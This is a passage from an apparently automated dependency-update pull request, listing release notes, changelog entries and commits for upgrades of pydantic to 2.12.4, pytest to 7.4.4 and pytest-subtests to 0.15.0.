2.12.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic/releases\"\u003epydantic's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.12.4 2025-11-05\u003c/h2\u003e\n\u003ch2\u003ev2.12.4 (2025-11-05)\u003c/h2\u003e\n\u003cp\u003eThis is the fourth 2.12 patch release, fixing more regressions, and reverting a change in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis patch release also fixes an issue with the serialization of IP address types, when \u003ccode\u003eserialize_as_any\u003c/code\u003e is used. The next patch release\nwill try to address the remaining issues with \u003cem\u003eserialize as any\u003c/em\u003e behavior by introducing a new \u003cem\u003epolymorphic serialization\u003c/em\u003e feature, that\nshould be used in most cases in place of \u003cem\u003eserialize as any\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with forward references in parent \u003ccode\u003eTypedDict\u003c/code\u003e classes by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12427\"\u003e#12427\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue is only relevant on Python 3.14 and greater.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExclude fields with \u003ccode\u003eexclude_if\u003c/code\u003e from JSON Schema required fields by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12430\"\u003e#12430\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRevert URL percent-encoding of credentials in the \u003ccode\u003ebuild()\u003c/code\u003e method of the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic-core#1833\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis was initially considered as a bugfix, but caused regressions and as such was fully reverted. The next release will include\nan opt-in option to percent-encode components of the URL.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd type inference for IP address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic-core#1868\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe 2.12 changes to the \u003ccode\u003eserialize_as_any\u003c/code\u003e behavior made it so that IP address types could not properly serialize to JSON.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic-core#1853\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fixes a subtle regression in the validation behavior of the \u003ca href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\"\u003e\u003ccode\u003ecollections.defaultdict\u003c/code\u003e\u003c/a\u003e\ntype.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with field serializers on nested typed dictionaries by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic-core#1879\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd more \u003ccode\u003epydantic-core\u003c/code\u003e builds for the three-threaded version of Python 3.14 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic-core#1864\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.12.3...v2.12.4\"\u003ehttps://github.com/pydantic/pydantic/compare/v2.12.3...v2.12.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.12.3 2025-10-17\u003c/h2\u003e\n\u003ch2\u003ev2.12.3 (2025-10-17)\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cp\u003eThis is the third 2.13 patch release, fixing issues related to the \u003ccode\u003eFieldInfo\u003c/code\u003e class, and reverting a change to the supported \u003ca href=\"https://docs.pydantic.dev/latest/concepts/validators/#model-validators\"\u003e\u003cem\u003eafter\u003c/em\u003e model validator\u003c/a\u003e function signatures.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRaise a warning when an invalid after model validator function signature is raised by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12414\"\u003e#12414\u003c/a\u003e.\nStarting in 2.12.0, using class methods for \u003cem\u003eafter\u003c/em\u003e model validators raised an error, but the error wasn't raised concistently. We decided to emit a deprecation warning instead.\u003c/li\u003e\n\u003cli\u003eAdd \u003ca href=\"https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.FieldInfo.asdict\"\u003e\u003ccode\u003eFieldInfo.asdict()\u003c/code\u003e\u003c/a\u003e method, improve documentation around \u003ccode\u003eFieldInfo\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12411\"\u003e#12411\u003c/a\u003e.\nThis also adds back support for mutations on \u003ccode\u003eFieldInfo\u003c/code\u003e classes, that are reused as \u003ccode\u003eAnnotated\u003c/code\u003e metadata. \u003cstrong\u003eHowever\u003c/strong\u003e, note that this is still \u003cem\u003enot\u003c/em\u003e a supported pattern. Instead, please refer to the \u003ca href=\"https://docs.pydantic.dev/latest/examples/dynamic_models/\"\u003eadded example\u003c/a\u003e in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ca href=\"https://pydantic.dev/articles/pydantic-v2-12-release#changes\"\u003eblog post\u003c/a\u003e section on changes was also updated to document the changes related to \u003ccode\u003eserialize_as_any\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.12.2...v2.12.3\"\u003ehttps://github.com/pydantic/pydantic/compare/v2.12.2...v2.12.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.12.2 2025-10-14\u003c/h2\u003e\n\u003ch2\u003ev2.12.2 (2025-10-14)\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic/blob/v2.12.4/HISTORY.md\"\u003epydantic's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.12.4 (2025-11-05)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pydantic/pydantic/releases/tag/v2.12.4\"\u003eGitHub release\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis is the fourth 2.12 patch release, fixing more regressions, and reverting a change in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis patch release also fixes an issue with the serialization of IP address types, when \u003ccode\u003eserialize_as_any\u003c/code\u003e is used. The next patch release\nwill try to address the remaining issues with \u003cem\u003eserialize as any\u003c/em\u003e behavior by introducing a new \u003cem\u003epolymorphic serialization\u003c/em\u003e feature, that\nshould be used in most cases in place of \u003cem\u003eserialize as any\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with forward references in parent \u003ccode\u003eTypedDict\u003c/code\u003e classes by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12427\"\u003e#12427\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue is only relevant on Python 3.14 and greater.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExclude fields with \u003ccode\u003eexclude_if\u003c/code\u003e from JSON Schema required fields by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12430\"\u003e#12430\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRevert URL percent-encoding of credentials in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in\n\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic-core#1833\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis was initially considered as a bugfix, but caused regressions and as such was fully reverted. The next release will include\nan opt-in option to percent-encode components of the URL.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd type inference for IP address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic-core#1868\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe 2.12 changes to the \u003ccode\u003eserialize_as_any\u003c/code\u003e behavior made it so that IP address types could not properly serialize to JSON.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic-core#1853\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fixes a subtle regression in the validation behavior of the \u003ca href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\"\u003e\u003ccode\u003ecollections.defaultdict\u003c/code\u003e\u003c/a\u003e\ntype.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with field serializers on nested typed dictionaries by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic-core#1879\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd more \u003ccode\u003epydantic-core\u003c/code\u003e builds for the three-threaded version of Python 3.14 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic-core#1864\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.12.3 (2025-10-17)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pydantic/pydantic/releases/tag/v2.12.3\"\u003eGitHub release\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cp\u003eThis is the third 2.12 patch release, fixing issues related to the \u003ccode\u003eFieldInfo\u003c/code\u003e class, and reverting a change to the supported\n\u003ca href=\"https://docs.pydantic.dev/latest/concepts/validators/#model-validators\"\u003e\u003cem\u003eafter\u003c/em\u003e model validator\u003c/a\u003e function signatures.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRaise a warning when an invalid after model validator function signature is raised by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12414\"\u003e#12414\u003c/a\u003e.\nStarting in 2.12.0, using class methods for \u003cem\u003eafter\u003c/em\u003e model validators raised an error, but the error wasn't raised concistently. We decided\nto emit a deprecation warning instead.\u003c/li\u003e\n\u003cli\u003eAdd \u003ca href=\"https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.FieldInfo.asdict\"\u003e\u003ccode\u003eFieldInfo.asdict()\u003c/code\u003e\u003c/a\u003e method, improve documentation around \u003ccode\u003eFieldInfo\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12411\"\u003e#12411\u003c/a\u003e.\nThis also add back support for mutations on \u003ccode\u003eFieldInfo\u003c/code\u003e classes, that are reused as \u003ccode\u003eAnnotated\u003c/code\u003e metadata. \u003cstrong\u003eHowever\u003c/strong\u003e, note that this is still\n\u003cem\u003enot\u003c/em\u003e a supported pattern. Instead, please refer to the \u003ca href=\"https://docs.pydantic.dev/latest/examples/dynamic_models/\"\u003eadded example\u003c/a\u003e in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ca href=\"https://pydantic.dev/articles/pydantic-v2-12-release#changes\"\u003eblog post\u003c/a\u003e section on changes was also updated to document the changes related to \u003ccode\u003eserialize_as_any\u003c/code\u003e.\u003c/p\u003e\n\u003ch2\u003ev2.12.2 (2025-10-14)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/5c842dfc9c245fb37aa1f5ec5b55c1aed10bd7e6\"\u003e\u003ccode\u003e5c842df\u003c/code\u003e\u003c/a\u003e Prepare release v2.12.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/c678a710e8b8bb2ff4dce6233c6d5c88dc579136\"\u003e\u003ccode\u003ec678a71\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003epydantic-core\u003c/code\u003e to v2.41.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/a7cd29254b2611c5768beb86e7ffd2c1c130a19a\"\u003e\u003ccode\u003ea7cd292\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003ecloudpickle\u003c/code\u003e to v3.1.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/21f627801b5eedfa87bed55925f73cf329cc9c2c\"\u003e\u003ccode\u003e21f6278\u003c/code\u003e\u003c/a\u003e Bump actions/setup-node from 5 to 6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/8d6be8fea9662203977b95758d97ec298edcd54a\"\u003e\u003ccode\u003e8d6be8f\u003c/code\u003e\u003c/a\u003e Bump astral-sh/setup-uv from 6 to 7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/17865ea3a1fd389ba697990b762f82a419a48221\"\u003e\u003ccode\u003e17865ea\u003c/code\u003e\u003c/a\u003e Bump actions/upload-artifact from 4 to 5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/90ad0af6b9340f72dde77997ed18fc180771e69f\"\u003e\u003ccode\u003e90ad0af\u003c/code\u003e\u003c/a\u003e Bump actions/download-artifact from 5 to 6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/18e6672b6fdeaeb75ccbbcb3c7883509b1f56cb3\"\u003e\u003ccode\u003e18e6672\u003c/code\u003e\u003c/a\u003e Drop testing under PyPy 3.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/650215be2d2336a72af481b724b368fed356d7e8\"\u003e\u003ccode\u003e650215b\u003c/code\u003e\u003c/a\u003e Document workaround for \u003ccode\u003eMongoDsn\u003c/code\u003e default port\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/e3267902272d8290ed6d1ae06f43052b2968ef14\"\u003e\u003ccode\u003ee326790\u003c/code\u003e\u003c/a\u003e Fix example of for \u003ccode\u003ebytes_invalid_encoding\u003c/code\u003e validation error\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.4.2...v2.12.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pytest` from 7.4.3 to 7.4.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytest-dev/pytest/releases\"\u003epytest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003epytest 7.4.4 (2023-12-31)\u003c/h2\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11140\"\u003e#11140\u003c/a\u003e: Fix non-string constants at the top of file being detected as docstrings on Python\u0026gt;=3.8.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11572\"\u003e#11572\u003c/a\u003e: Handle an edge case where \u003ccode\u003esys.stderr\u003c/code\u003e{.interpreted-text role=\u0026quot;data\u0026quot;} and \u003ccode\u003esys.__stderr__\u003c/code\u003e{.interpreted-text role=\u0026quot;data\u0026quot;} might already be closed when \u003ccode\u003efaulthandler\u003c/code\u003e{.interpreted-text role=\u0026quot;ref\u0026quot;} is tearing down.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11710\"\u003e#11710\u003c/a\u003e: Fixed tracebacks from collection errors not getting pruned.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/7966\"\u003e#7966\u003c/a\u003e: Removed unhelpful error message from assertion rewrite mechanism when exceptions are raised in \u003ccode\u003e__iter__\u003c/code\u003e methods. Now they are treated un-iterable instead.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eImproved Documentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11091\"\u003e#11091\u003c/a\u003e: Updated documentation to refer to hyphenated options: replaced \u003ccode\u003e--junitxml\u003c/code\u003e with \u003ccode\u003e--junit-xml\u003c/code\u003e and \u003ccode\u003e--collectonly\u003c/code\u003e with \u003ccode\u003e--collect-only\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/33f694f4b30c5c502f21f81cb8ab907b12ad2f65\"\u003e\u003ccode\u003e33f694f\u003c/code\u003e\u003c/a\u003e Prepare release version 7.4.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/76c107c463afcaddf74ca48252614728c6829ea7\"\u003e\u003ccode\u003e76c107c\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11751\"\u003e#11751\u003c/a\u003e from bluetech/backport-11143-to-7.4.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/531d76daa4a871df5b2a46cae132851c29abf027\"\u003e\u003ccode\u003e531d76d\u003c/code\u003e\u003c/a\u003e [7.4.x] Improve reporting from \u003cstrong\u003eiter\u003c/strong\u003e exceptions (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11749\"\u003e#11749\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/a0f58fa9e7f9b09b212ed491464be5df9b80fc0b\"\u003e\u003ccode\u003ea0f58fa\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11143\"\u003e#11143\u003c/a\u003e from tushar-deepsource/patch-1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/b1f3387d42571090ee4a35ec1945765b7f2ffae8\"\u003e\u003ccode\u003eb1f3387\u003c/code\u003e\u003c/a\u003e [7.4.x] \u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11091\"\u003e#11091\u003c/a\u003e: documentation should use hypthonated properties (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11750\"\u003e#11750\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/2cdd619bf49ee7c5306dc70dcbf71090839ea985\"\u003e\u003ccode\u003e2cdd619\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11747\"\u003e#11747\u003c/a\u003e from pytest-dev/backport-11711-to-7.4.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/d06c05bd23ea6af8e07fd944e56c58b64375b724\"\u003e\u003ccode\u003ed06c05b\u003c/code\u003e\u003c/a\u003e [7.4.x] nodes: fix tracebacks from collection errors are not getting pruned\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/5582bfcddf78929f7979c5023b167b333e1c2dd9\"\u003e\u003ccode\u003e5582bfc\u003c/code\u003e\u003c/a\u003e [7.4.x] Improves clarity in Sphinx documentation for function signature. (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11\"\u003e#11\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/13024efd7afdbae80ce70d27295d9bbe62670cb8\"\u003e\u003ccode\u003e13024ef\u003c/code\u003e\u003c/a\u003e [7.4.x] Fix for operation on closed file in faulthandler teardown (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11631\"\u003e#11631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/a40dacf6577ae990740e10572582538dfaf357b6\"\u003e\u003ccode\u003ea40dacf\u003c/code\u003e\u003c/a\u003e [7.4.x] XFAIL TestLocalPath.test_make_numbered_dir_multiprocess_safe (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11616\"\u003e#11616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytest-dev/pytest/compare/7.4.3...7.4.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pytest-subtests` from 0.14.2 to 0.15.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytest-dev/pytest-subtests/blob/main/CHANGELOG.rst\"\u003epytest-subtests's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2025-10-20\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded experimental \u003ccode\u003e--no-subtests-reports\u003c/code\u003e CLI option. This disables\nsubtests output unless it's a failed subtest. (\u003ccode\u003e[#198](https://github.com/pytest-dev/pytest-subtests/issues/198)\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e.. _\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/198\"\u003e#198\u003c/a\u003e: \u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/pull/198\"\u003epytest-dev/pytest-subtests#198\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/ff19523c499fcc0a04c999b6614dbfdc3e684629\"\u003e\u003ccode\u003eff19523\u003c/code\u003e\u003c/a\u003e Release 0.15.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a45e77d429a4d14197f23404704366550dc930a7\"\u003e\u003ccode\u003ea45e77d\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/216\"\u003e#216\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/e7fa393a591b5b84f2b30257f2c927f80e84acc0\"\u003e\u003ccode\u003ee7fa393\u003c/code\u003e\u003c/a\u003e Bump hynek/build-and-inspect-python-package from 2.13 to 2.14 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/215\"\u003e#215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/3b10fb3dda480d72de13235cb572312562349d4d\"\u003e\u003ccode\u003e3b10fb3\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/214\"\u003e#214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a95a2be1ae2956305aae9ae0c51075d330796eb6\"\u003e\u003ccode\u003ea95a2be\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/213\"\u003e#213\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/7a4df7daf51200cc3269fe9ae3d0921150eca27e\"\u003e\u003ccode\u003e7a4df7d\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/212\"\u003e#212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a6d84d7d54c082f66970afc358f9b3cb1be64615\"\u003e\u003ccode\u003ea6d84d7\u003c/code\u003e\u003c/a\u003e Bump actions/setup-python from 5 to 6 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/211\"\u003e#211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/d2d5220cd285e778f3cd5041a9c075b81abd71a2\"\u003e\u003ccode\u003ed2d5220\u003c/code\u003e\u003c/a\u003e Bump pypa/gh-action-pypi-publish in /.github/workflows (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/210\"\u003e#210\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/8ab123da0d45fe6b2f67539ab5c1d5a701e85742\"\u003e\u003ccode\u003e8ab123d\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 4 to 5 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/208\"\u003e#208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 